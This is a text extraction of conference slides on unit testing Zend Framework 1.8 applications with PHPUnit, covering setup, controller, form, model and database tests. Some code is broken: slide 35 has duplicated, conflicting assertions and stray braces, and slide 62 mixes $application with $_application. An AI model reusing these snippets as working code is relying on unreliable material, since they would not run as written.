Powerful Start- the Key to Project Success, Barbara Laskowska
Powerful Start- the Key to Project Success, Barbara LaskowskaPowerful Start- the Key to Project Success, Barbara Laskowska
Powerful Start- the Key to Project Success, Barbara Laskowska
 
Linux Foundation Edge _ Overview of FDO Software Components _ Randy at Intel.pdf
Linux Foundation Edge _ Overview of FDO Software Components _ Randy at Intel.pdfLinux Foundation Edge _ Overview of FDO Software Components _ Randy at Intel.pdf
Linux Foundation Edge _ Overview of FDO Software Components _ Randy at Intel.pdf
 
Google I/O Extended 2024 Warsaw
Google I/O Extended 2024 WarsawGoogle I/O Extended 2024 Warsaw
Google I/O Extended 2024 Warsaw
 
AI mind or machine power point presentation
AI mind or machine power point presentationAI mind or machine power point presentation
AI mind or machine power point presentation
 

Unit testing after Zend Framework 1.8

  • 1. Unit Testing after ZF 1.8 Michelangelo van Dam ZendCon 2010, Santa Clara, CA (USA)
  • 2. Michelangelo van Dam • Independent Consultant • Zend Certified Engineer (ZCE) • President of PHPBenelux
  • 3. This session What has changed with ZF 1.8 ? How do we set up our environment ? How are we testing controllers ? How are we testing forms ? How are we testing models ?
  • 4. New to unit testing ?
  • 6. Matthew Weier O’Phinney http://www.slideshare.net/weierophinney/testing-zend-framework-applications
  • 9. Birth of Zend_Application • bootstrapping an “app” • works the same for any environment • resources through methods (no registry) •- clean separation of tests unit tests - controller tests - integration tests (db, web services, …)
  • 11. Unit Testing •- smallest functional code snippet (unit) function or class method •- aims to challenge logic proving A + B gives C (and not D) • helpful for refactoring • essential for bug fixing (is it really a bug ?) • TDD results in better code • higher confidence for developers -> managers
  • 12. Controller Testing •- tests your (ZF) app is this url linked to this controller ? •- detects early errors on front-end (route/page not found) - on back-end (database changed, service down, …) • tests passing back and forth of params • form validation and filtering • security testing (XSS, SQL injection, …)
  • 13. Database Testing •- tests the functionality of your database referred to as “integration testing” •- checks functionality CRUD - stored procedures - triggers and constraints • verifies no mystery data changes happen - UTF-8 in = UTF-8 out
  • 16. phpunit.xml <phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Zend Framework Unit Test Demo"> <directory>./</directory> </testsuite> <!-- Optional settings for filtering and logging --> <filter> <whitelist> <directory suffix=".php">../library/</directory> <directory suffix=".php">../application/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter> <logging> <log type="coverage-html" target="./log/report" charset="UTF-8" yui="true" highlight="true" lowUpperBound="50" highLowerBound="80"/> <log type="testdox-html" target="./log/testdox.html" /> </logging> </phpunit>
  • 17. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path()); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); require_once 'Zend/Application.php'; $application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $application->bootstrap();
  • 18. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path()); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); require_once 'Zend/Application.php'; $application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $application->bootstrap();
  • 19. ControllerTestCase.php <?php require_once 'Zend/Application.php'; require_once 'Zend/Test/PHPUnit/ControllerTestCase.php'; abstract class ControllerTestCase extends Zend_Test_PHPUnit_ControllerTestCase { protected function setUp() { // we override the parent::setUp() to solve an issue regarding not // finding a default module } }
  • 20. Directory Strategy /application /tests /configs /application /controllers /controllers /forms /forms /models /models /modules /modules /guestbook /guestbook /apis /apis /controllers /controllers /forms /forms /models /models /views /helpers /filters /scripts /views /helpers /filters /scripts /library /public /tests
  • 22. Homepage testing <?php // file: tests/application/controllers/IndexControllerTest.php require_once TEST_PATH . '/ControllerTestCase.php'; class IndexControllerTest extends ControllerTestCase { public function testCanWeDisplayOurHomepage() { // go to the main page of the web application $this->dispatch('/'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); // ok, no error so let's see if we're at our homepage $this->assertModule('default'); $this->assertController('index'); $this->assertAction('index'); $this->assertResponseCode(200); } }
  • 28. Simple comment form <?php class Application_Form_Comment extends Zend_Form { public function init() { $this->addElement('text', 'fullName', array ( 'label' => 'Full name', 'required' => true)); $this->addElement('text', 'emailAddress', array ( 'label' => 'E-mail address', 'required' => true)); $this->addElement('text', 'website', array ( 'label' => 'Website URL', 'required' => false)); $this->addElement('textarea', 'comment', array ( 'label' => 'Your comment', 'required' => false)); $this->addElement('submit', 'send', array ( 'Label' => 'Send', 'ignore' => true)); } }
  • 29. CommentController <?php class CommentController extends Zend_Controller_Action { protected $_session; public function init() { $this->_session = new Zend_Session_Namespace('comment'); } public function indexAction() { $form = new Application_Form_Comment(array ( 'action' => $this->_helper->url('send-comment'), 'method' => 'POST', )); if (isset ($this->_session->commentForm)) { $form = unserialize($this->_session->commentForm); unset ($this->_session->commentForm); } $this->view->form = $form; } }
  • 30. Comment processing <?php class CommentController extends Zend_Controller_Action { … public function sendCommentAction() { $request = $this->getRequest(); if (!$request->isPost()) { return $this->_helper->redirector('index'); } $form = new Application_Form_Comment(); if (!$form->isValid($request->getPost())) { $this->_session->commentForm = serialize($form); return $this->_helper->redirector('index'); } $values = $form->getValues(); $this->view->values = $values; } }
  • 31. Views <!-- file: application/views/scripts/comment/index.phtml --> <?php echo $this->form ?> <!-- file: application/views/scripts/comment/send-comment.phtml --> <dl> <?php if (isset ($this->values['website'])): ?> <dt id="fullName"><a href="<?php echo $this->escape($this->values ['website']) ?>"><?php echo $this->escape($this->values['fullName']) ?></a></ dt> <?php else: ?> <dt id="fullName"><?php echo $this->escape($this->values['fullName']) ?></dt> <?php endif; ?> <dd id="comment"><?php echo $this->escape($this->values['comment']) ?></dd> </dl>
  • 35. Starting simple <?php // file: tests/application/controllers/IndexControllerTest.php require_once TEST_PATH . '/ControllerTestCase.php'; class CommentControllerTest extends ControllerTestCase { public function testCanWeDisplayOurForm() { // go to the main comment page of the web application $this->dispatch('/comment'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); $this->assertModule('default'); $this->assertController('comment'); $this->assertAction('index'); $this->assertResponseCode(200); $this->assertQueryCount('form', 1); $this->assertQueryCount('form', 1); $this->assertQueryCount('input[type="text"]', 2); } $this->assertQueryCount('input[type="text"]', 3); $this->assertQueryCount('textarea', 1); } $this->assertQueryCount('textarea', 1);
  • 36. GET request = index ? public function testSubmitFailsWhenNotPost() { $this->request->setMethod('get'); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment'); }
  • 37. Can we submit our form ? public function testCanWeSubmitOurForm() { $this->request->setMethod('post') ->setPost(array ( 'fullName' => 'Unit Tester', 'emailAddress' => 'test@example.com', 'website' => 'http://www.example.com', 'comment' => 'This is a simple test', )); $this->dispatch('/comment/send-comment'); $this->assertQueryCount('dt', 1); $this->assertQueryCount('dd', 1); $this->assertQueryContentContains('dt#fullName', '<a href="http://www.example.com">Unit Tester</a>'); $this->assertQueryContentContains('dd#comment', 'This is a simple test'); }
  • 38. All other cases ? /** * @dataProvider wrongDataProvider */ public function testSubmitFailsWithWrongData($fullName, $emailAddress, $comment) { $this->request->setMethod('post') ->setPost(array ( 'fullName' => $fullName, 'emailAddress' => $emailAddress, 'comment' => $comment, )); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment'); }
  • 39. wrongDataProvider public function wrongDataProvider() { return array ( array ('', '', ''), array ('~', 'bogus', ''), array ('', 'test@example.com', 'This is correct text'), array ('Test User', '', 'This is correct text'), array ('Test User', 'test@example.com', str_repeat('a', 50001)), ); }
  • 49. Testing models • uses core PHPUnit_Framework_TestCase class • tests your business logic ! • can run independent from other tests •- model testing !== database testing model testing tests the logic in your objects - database testing tests the data storage
  • 50. Model setUp/tearDown <?php require_once 'PHPUnit/Framework/TestCase.php'; class Application_Model_GuestbookTest extends PHPUnit_Framework_TestCase { protected $_gb; protected function setUp() { parent::setUp(); $this->_gb = new Application_Model_Guestbook(); } protected function tearDown() { $this->_gb = null; parent::tearDown(); } … }
  • 51. Simple tests public function testGuestBookIsEmptyAtConstruct() { $this->assertType('Application_Model_GuestBook', $this->_gb); $this->assertFalse($this->_gb->hasEntries()); $this->assertSame(0, count($this->_gb->getEntries())); $this->assertSame(0, count($this->_gb)); } public function testGuestbookAddsEntry() { $entry = new Application_Model_GuestbookEntry(); $entry->setFullName('Test user') ->setEmailAddress('test@example.com') ->setComment('This is a test'); $this->_gb->addEntry($entry); $this->assertTrue($this->_gb->hasEntries()); $this->assertSame(1, count($this->_gb)); }
  • 52. GuestbookEntry tests … public function gbEntryProvider() { return array ( array (array ( 'fullName' => 'Test User', 'emailAddress' => 'test@example.com', 'website' => 'http://www.example.com', 'comment' => 'This is a test', 'timestamp' => '2010-01-01 00:00:00', )), array (array ( 'fullName' => 'Test Manager', 'emailAddress' => 'testmanager@example.com', 'website' => 'http://tests.example.com', 'comment' => 'This is another test', 'timestamp' => '2010-01-01 01:00:00', )), ); } /** * @dataProvider gbEntryProvider * @param $data */ public function testEntryCanBePopulatedAtConstruct($data) { $entry = new Application_Model_GuestbookEntry($data); $this->assertSame($data, $entry->__toArray()); } …
  • 57. Database Testing •- integration testing seeing records are getting updated - data models behave as expected - data doesn't change encoding (UTF-8 to Latin1) • database behaviour testing - CRUD - stored procedures - triggers - master/slave - cluster - sharding
  • 58. Caveats •- database should be reset in a “known state” no influence from other tests •- system failures cause the test to fail connection problems •- unpredictable data fields or types auto increment fields - date fields w/ CURRENT_TIMESTAMP
  • 60. Model => database <?php require_once 'PHPUnit/Framework/TestCase.php'; class Application_Model_GuestbookEntryTest extends PHPUnit_Framework_TestCase { … } Becomes <?php require_once TEST_PATH . '/DatabaseTestCase.php'; class Application_Model_GuestbookEntryTest extends DatabaseTestCase { … }
  • 61. DatabaseTestCase.php <?php require_once 'Zend/Application.php'; require_once 'Zend/Test/PHPUnit/DatabaseTestCase.php'; require_once 'PHPUnit/Extensions/Database/DataSet/FlatXmlDataSet.php'; abstract class DatabaseTestCase extends Zend_Test_PHPUnit_DatabaseTestCase { private $_dbMock; private $_application; protected function setUp() { $this->_application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap = array($this, 'appBootstrap'); parent::setUp(); } …
  • 62. DatabaseTestCase.php (2) … public function appBootstrap() { $this->application->bootstrap(); } protected function getConnection() { if (null === $this->_dbMock) { $bootstrap = $this->application->getBootstrap(); $bootstrap->bootstrap('db'); $connection = $bootstrap->getResource('db'); $this->_dbMock = $this->createZendDbConnection($connection,'in2it'); Zend_Db_Table_Abstract::setDefaultAdapter($connection); } return $this->_dbMock; } protected function getDataSet() { return $this->createFlatXMLDataSet( dirname(__FILE__) . '/_files/initialDataSet.xml'); } }
  • 63. _files/initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <gbentry id="1" fullName="Test User" emailAddress="test@example.com" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry id="2" fullName="Obi Wan Kenobi" emailAddress="obi-wan@jedi-council.com" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <comment id="1" comment= "Good article, thanks"/> <comment id="2" comment= "Haha, Obi Wan… liking this very much"/> … </dataset>
  • 64. A simple DB test public function testNewEntryPopulatesDatabase() { $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT * FROM gbentry'); $dataSet = $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"); $filteredDataSet = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $dataSet, array('gbentry' => array('id'))); $this->assertDataSetsEqual($filteredDataSet, $ds); }
  • 65. location of datasets <approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml
  • 69. Changing records public function testNewEntryPopulatesDatabase() { $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT fullName, emailAddress, website, comment, timestamp FROM gbentry'); $this->assertDataSetsEqual( $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"), $ds ); }
  • 70. Expected resultset <?xml version="1.0" encoding="UTF-8"?> <dataset> <gbentry fullName="Test User" emailAddress="test@example.com" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Obi Wan Kenobi" emailAddress="obi-wan@jedi- council.com" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <gbentry fullName="Test User" emailAddress="test@example.com" website="http://www.example.com" comment="This is a test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Test Manager" emailAddress="testmanager@example.com" website="http://tests.example.com" comment="This is another test" timestamp="2010-01-01 01:00:00"/> </dataset>
  • 71. location of datasets <approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml addedTwoEntries.xml
  • 76. Desire vs Reality •- desire +70% code coverage - test driven development - clean separation of tests •- reality test what counts first (business logic) - discover the “unknowns” and test them - combine unit tests with integration tests
  • 77. Automation •- using a CI system continuous running your tests - reports immediately when failure - provides extra information ‣ copy/paste detection ‣ mess detection &dependency calculations ‣ lines of code ‣ code coverage ‣ story board and test documentation ‣ …
  • 78. Questions • http://slideshare.net/DragonBe/unit-testing-after-zf-18 • http://github.com/DragonBe/zfunittest • http://twitter.com/DragonBe • http://facebook.com/DragonBe • http://joind.in/2243